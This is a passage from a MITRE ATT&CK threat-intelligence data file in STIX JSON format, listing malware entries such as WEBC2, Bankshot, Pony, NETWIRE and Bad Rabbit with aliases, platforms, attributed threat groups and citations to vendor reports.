GravityRAT)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wes Hurd"],"x_mitre_aliases":["WEBC2"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1d808f62-cf63-4063-9727-ff6132514c22","type":"malware","created":"2017-05-31T21:33:06.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0109","external_id":"S0109"},{"source_name":"WEBC2","description":"(Citation: Mandiant APT1)"},{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-08-25T21:23:24.223Z","name":"WEBC2","description":"[WEBC2](https://attack.mitre.org/software/S0109) is a family of backdoor malware used by [APT1](https://attack.mitre.org/groups/G0006) as early as July 2006. [WEBC2](https://attack.mitre.org/software/S0109) backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Bankshot","Trojan Manuscript"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0239","external_id":"S0239"},{"source_name":"Bankshot","description":"(Citation: McAfee Bankshot)"},{"source_name":"Trojan Manuscript","description":"(Citation: McAfee Bankshot)"},{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","source_name":"McAfee Bankshot"}],"modified":"2020-03-30T20:41:17.223Z","name":"Bankshot","description":"[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["StrongPity"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","type":"malware","created":"2020-07-20T17:41:19.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0491","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0491"},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."},{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. 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(2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","name":"HAPPYWORK","description":"[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["xCaon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","type":"malware","created":"2021-09-29T00:04:26.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0653","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0653"},{"source_name":"xCaon","description":"(Citation: Checkpoint IndigoZebra July 2021)"},{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."},{"source_name":"Securelist APT Trends Q2 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.","url":"https://securelist.com/apt-trends-report-q2-2017/79332/"}],"modified":"2021-10-16T02:20:16.562Z","name":"xCaon","description":"[xCaon](https://attack.mitre.org/software/S0653) is an HTTP variant of the [BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PLAINTEE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0254","external_id":"S0254"},{"source_name":"PLAINTEE","description":"(Citation: Rancor Unit42 June 2018)"},{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-30T17:15:33.608Z","name":"PLAINTEE","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Arie Olshtein, Check Point","Kobi Eisenkraft, Check Point"],"x_mitre_aliases":["Pony"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","type":"malware","created":"2020-05-21T21:03:35.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0453","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0453"},{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-06-25T21:57:40.642Z","name":"Pony","description":"[Pony](https://attack.mitre.org/software/S0453) is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.(Citation: Malwarebytes Pony April 2016)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["WinMM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--22addc7b-b39f-483d-979a-1b35147da5de","type":"malware","created":"2017-05-31T21:32:40.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0059","url":"https://attack.mitre.org/software/S0059","source_name":"mitre-attack"},{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-30T18:27:57.226Z","name":"WinMM","description":"[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Nebulae"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","type":"malware","created":"2021-06-30T14:44:35.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0630","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0630"},{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-10-15T22:57:32.775Z","name":"Nebulae","description":"[Nebulae](https://attack.mitre.org/software/S0630) Is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019)  since at least 2020.(Citation: Bitdefender Naikon April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Janicab"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--234e7770-99b0-4f65-b983-d3230f76a60b","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0163","external_id":"S0163"},{"source_name":"Janicab","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017."}],"modified":"2020-03-19T18:00:00.645Z","name":"Janicab","description":"[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["AuditCred","Roptimizer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","type":"malware","created":"2019-01-30T15:47:41.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0347","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0347"},{"source_name":"AuditCred","description":"(Citation: TrendMicro Lazarus Nov 2018)"},{"source_name":"Roptimizer","description":"(Citation: TrendMicro Lazarus Nov 2018)"},{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-30T14:51:50.371Z","name":"AuditCred","description":"[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Lurid","Enfal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--251fbae2-78f6-4de7-84f6-194c727a64ad","type":"malware","created":"2017-05-31T21:32:14.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0010","external_id":"S0010"},{"source_name":"Villeneuve 2014","description":"Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.","url":"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html"},{"source_name":"Villeneuve 2011","description":"Villeneuve, N., Sancho, D. (2011). THE “LURID” DOWNLOADER. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf"}],"modified":"2020-03-31T12:39:16.608Z","name":"Lurid","description":"[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Kasidet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","type":"malware","created":"2017-05-31T21:32:57.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0088","external_id":"S0088"},{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-30T16:54:23.238Z","name":"Kasidet","description":"[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["OceanSalt"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","type":"malware","created":"2019-01-30T15:43:19.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0346","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0346"},{"source_name":"OceanSalt","description":"(Citation: McAfee Oceansalt Oct 2018)"},{"description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","source_name":"McAfee Oceansalt Oct 2018"}],"modified":"2020-03-30T17:12:48.823Z","name":"OceanSalt","description":"[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Brave Prince"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0252","url":"https://attack.mitre.org/software/S0252"},{"source_name":"Brave Prince","description":"(Citation: McAfee Gold Dragon)"},{"source_name":"McAfee Gold Dragon","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. 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Retrieved June 29, 2021."}],"modified":"2021-08-19T19:14:14.922Z","name":"RainyDay","description":"[RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Ecipekac","HEAVYHAND","SigLoader","DESLoader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","type":"malware","created":"2021-06-18T18:56:41.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0624","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0624"},{"source_name":"HEAVYHAND","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"SigLoader","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"DESLoader","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. 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(2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2020-03-30T16:56:27.375Z","name":"LOWBALL","description":"[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tony Lambert, Red Canary"],"x_mitre_aliases":["NETWIRE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0198","external_id":"S0198"},{"source_name":"NETWIRE","description":"(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017) (Citation: McAfee Netwire Mar 2015)"},{"source_name":"FireEye APT33 Sept 2017","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"},{"source_name":"McAfee Netwire Mar 2015","description":"McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"},{"source_name":"FireEye APT33 Webinar Sept 2017","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. 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(2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)","modified":"2022-04-21T16:08:09.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"TinyTurla","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HyperStack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","type":"malware","created":"2020-12-02T20:48:23.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0537","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0537"},{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. 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[HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).(Citation: Accenture HyperStack October 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["iKitten","OSX/MacDownloader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0278","external_id":"S0278"},{"source_name":"iKitten","description":"(Citation: objsee mac malware 2017)."},{"source_name":"OSX/MacDownloader","description":"(Citation: objsee mac malware 2017)."},{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-30T18:37:55.343Z","name":"iKitten","description":"[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent  (Citation: objsee mac malware 2017).","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HAMMERTOSS","HammerDuke","NetDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","type":"malware","created":"2017-05-31T21:32:29.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0037","external_id":"S0037"},{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2021-02-09T13:58:23.806Z","name":"HAMMERTOSS","description":"[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. 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(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Bad Rabbit","Win32/Diskcoder.D"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","type":"malware","created":"2021-02-09T14:35:39.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0606","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0606"},{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F.  Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."},{"source_name":"ESET Bad Rabbit","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021."},{"source_name":"Dragos IT ICS Ransomware","url":"https://www.dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/","description":"Slowik, J.. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved January 28, 2021."}],"modified":"2021-10-17T18:43:07.613Z","name":"Bad Rabbit","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware) 